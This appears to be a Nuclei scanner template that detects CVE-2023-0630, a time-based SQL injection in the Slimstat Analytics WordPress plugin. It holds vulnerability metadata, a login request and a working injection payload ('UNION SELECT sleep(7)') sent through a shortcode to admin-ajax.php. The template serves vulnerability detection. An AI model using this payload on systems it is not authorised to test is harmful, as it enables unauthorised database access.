Slimstat Analytics < 4.9.3.3 Subscriber - SQL Injection

id: CVE-2023-0630

info:
  name: Slimstat Analytics < 4.9.3.3 Subscriber - SQL Injection
  author: DhiyaneshDK
  severity: high
  description: |
    The Slimstat Analytics WordPress plugin before 4.9.3.3 does not prevent subscribers from rendering shortcodes that concatenates attributes directly into an SQL query.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access to the WordPress database, potentially exposing sensitive information.
  remediation: Fixed in version 4.9.3.3
  reference:
    - https://wpscan.com/vulnerability/b82bdd02-b699-4527-86cc-d60b56ab0c55
    - https://wordpress.org/plugins/wp-slimstat
    - https://nvd.nist.gov/vuln/detail/CVE-2023-0630
    - https://github.com/nomi-sec/PoC-in-GitHub
    - https://github.com/RandomRobbieBF/CVE-2023-0630
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2023-0630
    cwe-id: CWE-89
    epss-score: 0.05141
    epss-percentile: 0.91356
    cpe: cpe:2.3:a:wp-slimstat:slimstat_analytics:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: wp-slimstat
    product: slimstat_analytics
    framework: wordpress
  tags: time-based-sqli,cve2023,cve,wpscan,wp-slimstat,wp,wp-plugin,sqli,wordpress,authenticated,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        @timeout: 20s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=parse-media-shortcode&shortcode=[slimstat f="count" w="author"]WHERE:1 UNION SELECT sleep(7)-- a[/slimstat]

    matchers:
      - type: dsl
        dsl:
          - 'duration_2>=7'
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "application/json")'
          - 'contains(body_2, "audioShortcodeLibrary")'
        condition: and
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